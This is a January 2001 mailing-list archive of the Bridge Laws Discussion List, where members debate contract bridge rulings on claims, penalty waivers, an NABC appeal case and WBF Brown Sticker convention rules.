<000a01c08910$f606d9a0$22347bd5@dodona> Subject: Re: SV: [BLML] Fw: wbf brown sticker question Date: Mon, 29 Jan 2001 11:52:35 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The word "treatment" comes to mind. Craig ----- Original Message ----- From: "Grattan Endicott" To: "Peter Swensson" ; ; "alain gottcheiner" Sent: Saturday, January 27, 2001 8:22 PM Subject: Re: SV: [BLML] Fw: wbf brown sticker question > > Grattan Endicott <=> > " No problems can be solved and all solutions > lead to more problems." - William Burroughs. > <=====> > ----- Original Message ----- > From: alain gottcheiner > To: Peter Swensson ; > > Sent: Wednesday, January 24, 2001 12:20 PM > Subject: Re: SV: [BLML] Fw: wbf brown sticker > question > > > > > > AG : 'weak 2-bid' is the name of a convention > > > +=+ Multi is a convention, but I do not think a > weak two is other than a natural bid that is the > subject of a special partnership understanding. > ~ Grattan ~ +=+ > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:55:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGssc25139 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:54:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-5.cais.net (stmpy-5.cais.net [205.252.14.75]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGslt25098 for ; Tue, 30 Jan 2001 03:54:48 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-5.cais.net (8.11.1/8.11.1) with ESMTP id f0TGshJ75584 for ; Mon, 29 Jan 2001 11:54:43 -0500 (EST) Message-Id: <4.3.2.7.1.20010129115341.00b38da0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 11:56:37 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: <00f901c088f0$c7c244a0$9a9c1e18@san.rr.com> References: <01a201c087e2$3e3e41c0$7ae2f1c3@default> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 01:04 AM 1/28/01, Marvin wrote: > > I would expect "we are going to make twelve tricks!" to be rather >more > > decisive than "we can make twelve tricks.", but do you native >English > > speaking gentlemen feel that way about it ? > >Yes. But both are statements "to the effect" that a specific number >of tricks will be won, making both claims. I can kill a cat with one hand. Have I just made a statement to the effect that I will do so? Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 04:15:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0THEqV01888 for bridge-laws-outgoing; Tue, 30 Jan 2001 04:14:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0THEjt01849 for ; Tue, 30 Jan 2001 04:14:45 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id LAA14176 for ; Mon, 29 Jan 2001 11:16:07 -0600 (CST) Message-Id: <3.0.6.32.20010129111406.007e9690@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 11:14:06 -0600 To: "blml" From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: References: <4.3.2.7.1.20010128180349.00b3d830@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:57 AM 1/29/2001 -0600, Roger Pewick wrote: >| There are those on BLML who would say that we were not playing >| duplicate bridge as defined by its laws. > >| My answer is that if we were >| not playing duplicate bridge as defined by its laws, there was nobody >| in that so-called duplicate bridge club who would have had any further >| interest in playing duplicate bridge as defined by its laws. And >| that's what this thread is about. > >Eric, you have not been the only one who has made that point. > >Let us look at what it would take for the rules to reflect the way people >[want to] play bridge and construct some that would lead players to not seek >redress and lead directors to not give it if it was asked for: > >'A statement is not a claim if it is directed toward partner in any way.' No, all we need to do is make the phrase "unless he demonstrably did not intend to claim" cover statements and not just showing your cards. This should pretty well cover the case. No radical change at all. >And.. > >'In addition to bids and plays, partners may communicate in ways as they see >fit, including ways that could be inadvertently deceptive.' Not one single person in this thread has suggested that we should deny the defense redress if they have been deceived. Certainly no-one has suggested that partners be allowed to communicate with each other in general--it is only in the case where the bidding is over and one player is dummy that such communication is generally accepted. Let me give you an actual example from our club, albeit an imperfect one: With 5 tricks to go, my partner [declarer] says to one of the defenders "you'd better take your ace". I don't see how we could rule this a claim under L68, even interpreting it strictly. Now, in fact, the defenders were going to get one more trick if they cashed the ace, and none if they tried to be clever in another suit, so in fact no damage was done. But if there had been some play that my partner had not seen which would have given more tricks to the defense by holding off their ace, then I definately think that the TD should award those tricks to the defense under L73F2, and if there had been even the slightest reason to think that partner knew that he should get a PP as well. You don't need L68 to deal with deceptive communication. First because other laws are already there to deal with it, and second because only a tiny fraction of the potentially deceptive comments will be able to be counted as claims. >now, a topic that perhaps is worthy of consideration concerns the inferences >that such remarks make available to partner. For instance, dummy can make >inferences about declarer/ and the defenders' hands that have the effect >similar to dummy exchanging hands with declarer- and could influence dummy >in attempting to prevent an irregularity or drawing attention to an opponent >'s irregularity. At least the underlying principle is there [L43A2]. And, again, if dummy does so as a result of such information, and you want to rule against him under L73, by all means do so. >Roger Pewick > >| Eric Landau elandau@cais.com Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 04:23:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0THNUQ04825 for bridge-laws-outgoing; Tue, 30 Jan 2001 04:23:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0THNMt04786 for ; Tue, 30 Jan 2001 04:23:23 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id SAA10042; Mon, 29 Jan 2001 18:20:39 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id SAA07465; Mon, 29 Jan 2001 18:23:07 +0100 (MET) for Message-Id: <3.0.6.32.20010129182454.008367d0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 18:24:54 +0100 To: Grant Sterling , "BLML" From: alain gottcheiner Subject: Re: [BLML] Cap Gemini shows the way In-Reply-To: <3.0.6.32.20010129103135.007d1260@ux1.cts.eiu.edu> References: <000a01c08973$83ffd600$0200000a@mindspring.com> <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:31 29/01/01 -0600, Grant Sterling wrote: >> > > Of course it would. If this is how the law is to be applied, then >by all means let us delete this law from the books. Obviously, by definition, >any "penalty" _COULD_ have an effect on some other pair's chance of winning >or losing the contest. Ergo, it would be impossible for a TD to ever waive >a penalty, at least in a pairs competition. AG : the players may not waive penalties. If they did so, and if it influenced any result, they are penalized for not having played the game as it should be (L72A1). But the TD, whose job is, among others, to restore equity whenever possible, may consider it more equitable to waive the penalty if suggested. The 'effect on other pairs' is not the first concern. Equity is. But the players do not have the right to try and decide what is equitable or not. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 04:24:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0THOQR05151 for bridge-laws-outgoing; Tue, 30 Jan 2001 04:24:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0THOJt05109 for ; Tue, 30 Jan 2001 04:24:20 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id LAA18585 for ; Mon, 29 Jan 2001 11:25:42 -0600 (CST) Message-Id: <3.0.6.32.20010129112339.007ff620@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 11:23:39 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <007701c089b0$50018460$9a9c1e18@san.rr.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 08:52 PM 1/28/2001 -0800, Marvin L. French wrote: >Tim West-Meads wrote: > >> Marv wrote: >> >> > What's wrong with the current "statement to the effect"? Your >words >> > seem to require that a number be mentioned, but "We missed a >cold >> > slam" should certainly constitute a claim. >> > >> >> Surely not. There is nothing in that statement to indicate that >the >> missed slam is in the same denomination as the contract being >played. >> Nor does it indicate whether 12 or 13 tricks would be expected. >> >There is nothing about "same denomination" in L68A, so forget that. If I'm in 3NT and say "we would make at least 12 tricks in diamonds" would you call that a claim? The law says "will win" a specific number of tricks, not "would win in some other possible contract". >The player certainly has claimed at least 12 tricks, and that's a >specific number. So if the defense acquieses, how many tricks do we score up? "That's 3NT making at least 12". :) >Marv >San Diego, CA, USA Couldn't resist, sorry, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 04:25:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0THP5o05382 for bridge-laws-outgoing; Tue, 30 Jan 2001 04:25:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0THOut05322 for ; Tue, 30 Jan 2001 04:24:57 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id SAA29500; Mon, 29 Jan 2001 18:20:49 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id SAA08083; Mon, 29 Jan 2001 18:24:42 +0100 (MET) for Message-Id: <3.0.6.32.20010129182628.008355b0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 18:26:28 +0100 To: Adam Wildavsky , "Marvin L. French" From: alain gottcheiner Subject: Re: [BLML] Cincinnati NABC Appeal 36 Cc: bridge-laws@rgb.anu.edu.au In-Reply-To: References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:38 29/01/01 -0500, Adam Wildavsky wrote: >What I thought was bizarre about the case was the use made of player >consultants. As I understand matters players should be consulted on >matters of bridge judgement, not on the laws. The only issue of >bridge judgement is the 12C2 "likely" and "at all probable" results >had the bid been alerted. Roughly speaking this translates to how >likely South was to double. AG : if N/S had called immediately, one would have known that too. See previous message. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 04:37:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0THbVm07157 for bridge-laws-outgoing; Tue, 30 Jan 2001 04:37:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0THbIt07150 for ; Tue, 30 Jan 2001 04:37:19 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id LAA24318 for ; Mon, 29 Jan 2001 11:38:41 -0600 (CST) Message-Id: <3.0.6.32.20010129113638.007c9100@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 11:36:38 -0600 To: "BLML" From: Grant Sterling Subject: Re: [BLML] Cap Gemini shows the way In-Reply-To: <3.0.6.32.20010129182454.008367d0@pop.ulb.ac.be> References: <3.0.6.32.20010129103135.007d1260@ux1.cts.eiu.edu> <000a01c08973$83ffd600$0200000a@mindspring.com> <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 06:24 PM 1/29/2001 +0100, alain gottcheiner wrote: >At 10:31 29/01/01 -0600, Grant Sterling wrote: >>> >> >> Of course it would. If this is how the law is to be applied, then >>by all means let us delete this law from the books. Obviously, by >definition, >>any "penalty" _COULD_ have an effect on some other pair's chance of winning >>or losing the contest. Ergo, it would be impossible for a TD to ever waive >>a penalty, at least in a pairs competition. > >AG : the players may not waive penalties. If they did so, and if it >influenced any result, they are penalized for not having played the game as >it should be (L72A1). But the TD, whose job is, among others, to restore >equity whenever possible, may consider it more equitable to waive the >penalty if suggested. The 'effect on other pairs' is not the first concern. >Equity is. But the players do not have the right to try and decide what is >equitable or not. I agree completely. But others in this list, including [as I read his post] Grattan, seem to be saying that if the waiver could have an effect on other pairs the TD must not grant the waiver. So, I repeat, _if this is how the law is to be applied_ we would be better off deleting it. > A. Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 05:34:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TIXRI07219 for bridge-laws-outgoing; Tue, 30 Jan 2001 05:33:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-4.cais.net (stmpy-4.cais.net [205.252.14.74]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TIXLt07215 for ; Tue, 30 Jan 2001 05:33:21 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-4.cais.net (8.11.1/8.11.1) with ESMTP id f0TISu688306 for ; Mon, 29 Jan 2001 13:28:56 -0500 (EST) Message-Id: <4.3.2.7.1.20010129131855.00b315d0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 13:30:50 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: References: <4.3.2.7.1.20010128180349.00b3d830@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:57 AM 1/29/01, Roger wrote: >Let us look at what it would take for the rules to reflect the way people >[want to] play bridge and construct some that would lead players to >not seek >redress and lead directors to not give it if it was asked for: > >'A statement is not a claim if it is directed toward partner in any way.' > >And.. > >'In addition to bids and plays, partners may communicate in ways as >they see >fit, including ways that could be inadvertently deceptive.' > >Such provisions would make it clear to players and directors that there >would be no redress for statements at T1 such as "Don't worry, we're going >to make five". And would it also be made clear that there would not be >redress at any other trick? Not at all. My position is NOT that there would be no redress, only that there would be no redress under the laws governing claims. As many others have pointed out, redress is readily available under L73F2 if my remark may have damaged the opponents. In this case, I was cold for 11 tricks and I took 11 tricks. There was no possible sequence of defenders' plays which could have resulted in my taking fewer than 11 tricks. However, had I intended to claim at trick one, had I laid down my cards and said "making five", I would have properly been scored as having taken only 10 tricks. I do not believe this constitutes "damage" as the laws intend the term. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 05:56:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TIufv07259 for bridge-laws-outgoing; Tue, 30 Jan 2001 05:56:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TIuVt07250 for ; Tue, 30 Jan 2001 05:56:32 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 10:51:06 -0800 Message-ID: <008e01c08a24$d91a2940$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> Subject: Re: [BLML] Cincinnati NABC Appeal 36 Date: Mon, 29 Jan 2001 10:44:49 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Adam Wildavsky" (one of the players consulted) > Marvin L. French wrote: > >West North East South > >2S P 3H* all pass > > > >The Facts: 3H went down one, +50 for N/S. The Director was called after trick > >two. North asked after her final pass about 3H and was told by the bidder that > >it was non-forcing. The Director was not called at that time. > ... > >I don't see that N/S should be denied redress, and would like to know the Law > >that says they should be. > > 9 B 1 (a) The Director must be summoned at once when attention is > drawn to an irregularity. Attention wasn't called to the irregularity. There is no evidence that N/S knew there had been an irregularity. Very few B players know the Alert Procedure. When they saw the dummy it occurred to them that there might have been an irregularity, so one of them (we don't know which) called the TD. Also, 9B1(a) doesn't say that failure to summon the TD at once is a basis for anulling redress for damage. The only consequence of not following its requirement is that premature correction of an irregularity by the OS may subject the OS to a further penalty (L9C). Some might consider a PP. > > >Did they do something "wild, irrational, or > >gambling"? Also don't see that their rights were "tainted" by the sight of > >dummy. They may not even have been aware that there was an infraction, with > >the sight of dummy prompting the thought that maybe they should check with the > >TD about that possibility. > > South didn't ask whether 3H was forcing. There are two possibilities: > > 1. He didn't care, as he was not going to bid in any case. Then there > is no damage, so no need for redress. > > 2. He knew 3H was forcing, since it would have been alerted > otherwise. Now he should call the director, either after South's pass > or after the explanation, since one of them must have drawn his > attention to the irregularity. Possibility 3: He was afraid to enter the auction because East could be strong, and didn't realize that a pass by West meant an infraction had been committed. This is a B player, very few of whom know that an Alert or non-Alert is supposed to clarify the nature of a suit takeout. If South did know of the irregularity when West passed, quite possible, his statement that "he did not know he was supposed to call the Director at that time" is believable. Incidentally, there is no requirement that the TD be called if no attention has been called to an irregularity, even when it is noticed. Read L9. Any player *may* call attention to an irregularity, and *must* call if attention has been drawn to it. The lawmakers realized that players don't always know when an action constitutes an infraction, and therefore made a TD call mandatory only if attention has been drawn to it. > >The casebook commentators approved the Panel's decision, giving it a score of > >92.3. I'd give it 62.3 > > What I thought was bizarre about the case was the use made of player > consultants. As I understand matters players should be consulted on > matters of bridge judgement, not on the laws. The only issue of > bridge judgement is the 12C2 "likely" and "at all probable" results > had the bid been alerted. Roughly speaking this translates to how > likely South was to double. > Yes, the only issue for the consulted players. The AC determined, after player consultations, that "South was likely to enter the auction with a double" if the Alert had been given. Let's accept that AC determination when discussing this case, for the sake of argument. Grattan and DWS were casebook commentators on the Cincinnati appeals. David doubted that the AC decision was legal, without saying why, while Grattan considered the E/W adjustment to be "harsh," doubting that South would have doubled if 3H had been Alerted. I hope both see fit to make further comments on BLML. Neither explicitly address the points I am interested in, which are (1) whether a pair can be denied redress because they weren't sharp enough to call the TD at the proper time and (2) whether the "proper time" is at the time an infraction should be known or when attention has been drawn to it. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 05:56:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TIufj07258 for bridge-laws-outgoing; Tue, 30 Jan 2001 05:56:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TIuVt07251 for ; Tue, 30 Jan 2001 05:56:32 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 10:51:07 -0800 Message-ID: <008f01c08a24$d9867fa0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Subject: [BLML] Desperately seeking Craig Date: Mon, 29 Jan 2001 10:52:10 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Use of my "Reply" button when replying to Craig Senior's e-mail continues to produce mail that is returned as "user unknown." This also happens when I explicitly address to csenior@ix.netcom.com. My Roadrunner ISP isn't helping. I'm getting desperate! Are you there, Craig? Marv -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 06:51:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TJohZ07313 for bridge-laws-outgoing; Tue, 30 Jan 2001 06:50:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TJoat07309 for ; Tue, 30 Jan 2001 06:50:37 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id OAA12099 for ; Mon, 29 Jan 2001 14:41:39 -0500 (EST) Message-Id: <200101291941.OAA12099@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] WBF Systems Policy Reply-To: blml@farebrother.cx In-reply-to: <045a01c088ce$ad7154a0$9d391dc2@rabbit> References: <3.0.6.32.20010126112317.00838c00@pop.ulb.ac.be> <002a01c087cc$63187800$9a9c1e18@san.rr.com> <045a01c088ce$ad7154a0$9d391dc2@rabbit> Date: Mon, 29 Jan 2001 14:41:38 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 28 January 2001 at 3:01, "Thomas Dehn" wrote: I think it is time to quote chapter and verse. I cheated last time :-). Again, the reference I'm using is http://bridge.ecats.co.uk/BiB/b7/wbfsystemspolicy/definitions.asp . 2.3 Brown Sticker Conventions and Treatments The following conventions or treatments are categorised as 'Brown Sticker': a) Any opening bid of two clubs through three spades that: i) could be weak (may by agreement be made with values below average strength) AND ii) does not promise at least four cards in a known suit. EXCEPTION: The bid always shows at least four cards in a known suit if it is weak. If the bid does not show a known four card suit it must show a hand a king or more over average strength. (Explanation: Where all the weak meanings show at least four cards in one known suit, and the strong meanings show a hand with a king or more above average strength, it is not a Brown Sticker Convention.) EXCEPTION: A two level opening bid in a minor showing a weak two in either major, whether with or without the option of strong hand types, as described in the WBF Conventions Booklet. (I've done some reformatting. I don't believe I have changed any words or ordering). So: > >There only needs to be an anchor suit for the *weak* >variations. E.g. the following is not BSC over here: > >2S showing either >- both minors 8-12 >or >- a weak preempt in clubs, 2-7 >or >- a strong two in spades. > True. If weak, it shows clubs; if it doesn't show clubs, it is a strong hand. >Or the ever-popular 2C = either a weak two in diamonds, >or a game force. > Again, ok. >Even 2C = either 11-15 6+ clubs, or 4+ hearts, 0-7 >HCP would not be brown sticker, as 11-15 isn't weak. > But it isn't strong, either. Any non-heart bid must be at least a King above average strength - and I'm not sure 11HCP and 6+ clubs counts. So, this *is* brown sticker. Of course, I'm arguing from a shaky plank - I'm in the ACBL, and we have no events where BSC rules apply. So, like always, ICBW. But I think the wording of the regulation is against you on this one, Thomas. However, this response does raise a question for me, which I would ask those more experiened with WBF regulations: The wording seems to carefully avoid mention of "non-weak, non-strong" hands (the ones between average and a king above average). Am I right in ruling the first of Thomas' examples (with the potential of 8-12, both minors) not BSC, because although it contains a "non-weak, non-strong" potential meaning, it matches an anchor suit with the weak meaning; or is the meaning of the exception attempting to make all two-way bids "either weak or strong"? Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 07:18:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TKHgY14603 for bridge-laws-outgoing; Tue, 30 Jan 2001 07:17:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TKHYt14570 for ; Tue, 30 Jan 2001 07:17:35 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id PAA13195 for ; Mon, 29 Jan 2001 15:23:11 -0500 (EST) Message-Id: <200101292023.PAA13195@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: 